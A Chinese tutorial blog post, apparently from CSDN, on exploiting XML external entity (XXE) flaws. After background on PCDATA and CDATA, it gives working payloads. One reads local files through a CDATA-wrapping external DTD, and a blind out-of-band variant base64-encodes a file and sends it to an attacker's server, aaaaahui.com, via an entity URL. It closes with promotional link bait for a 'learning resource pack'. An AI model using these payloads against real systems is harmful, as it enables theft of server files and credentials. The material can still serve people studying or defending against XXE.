读取文件时有特殊符号
在读取文件时，文件中包含"<,>,&"等这些特殊符号时，会被xml解析器解析，报错从而导致读取失败，例如尝试读取以下文件
C:\test.txt
内容：
<Baize Sec>
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]> <creds>&xxe;</creds>
可以看到与读system.ini不同，这里报错了，想知道原因需要了解CDATA和PCDATA
PCDATA
PCDATA 指的是被解析的字符数据（Parsed Character Data）。
XML 解析器通常会解析 XML 文档中所有的文本。
当某个 XML 元素被解析时，其标签之间的文本也会被解析：
<message>此文本也会被解析</message>
解析器之所以这么做是因为 XML 元素可包含其他元素，就像这个例子中，其中的 <name>元素包含着另外的两个元素(first 和 last)：
<name><first>Bill</first><last>Gates</last></name>
而解析器会把它分解为像这样的子元素：
<name> <first>Bill</first> <last>Gates</last> </name>
CDATA
术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据（Unparsed Character Data）。
在 XML 元素中，"<" 和 "&" 是非法的。
"<" 会产生错误，因为解析器会把该字符解释为新元素的开始。
"&" 也会产生错误，因为解析器会把该字符解释为字符实体的开始。
某些文本，比如 JavaScript 代码，包含大量 "<" 或 "&" 字符。为了避免错误，可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始，由 "]]>" 结束：
<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>
在上面的例子中，解析器会忽略 CDATA 部分中的所有内容。
关于 CDATA 部分的注释：
CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。
标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。
我们的思路就是把读取的文件放在CDATA中之后再调用，那么构造一个POC如下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [<!ENTITY start "<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>" >] % xxe;> <roottag>&start</roottag>
但是还是读不出来，如下图：
直接放正确的payload，然后再讲解原因
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % go SYSTEM "file:///c:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd; ]> <root>&all;</root>
http://aaaaahui.com/evil.dtd
<!ENTITY all "%start;%go;%end;">
可以看到这个payload是可以成功读取文件的，对比两个payload
两个payload的逻辑都是一样的，不过第二个是调用的外部的dtd文档就可以，这是因为在xml中，xml 解析器有个限制：不能在内部 Entity 中引用，“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。
无回显xxe漏洞利用
现在很多xxe漏洞都是没有回显的，下面是再没有回显的时候可以的利用方式。
思路就是在没有回显的时候，我们将读取的文件带出来，举一个例子就是，我们如果将/etc/passwd文件赋给实体test，那么我们在访问http://www.aaaaahui.com/?%test时，我们服务器上的日志文件就会保存/etc/passwd的文件内容，下面进行实验：
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt"> %remote; %send; ]> <message>1234</message>
xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://aaaaahui.com/?%file;'>">%start
%是%的html实体编码，因为在xml.dtd的实体中不能有%
实验如下图
查看日志文件
这里我们读取的文件已经带出来了，那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
同时每个成长路线对应的板块都有配套的视频提供：
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料
所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
特别声明：
此教程为纯技术分享！本教程的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本教程的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失。
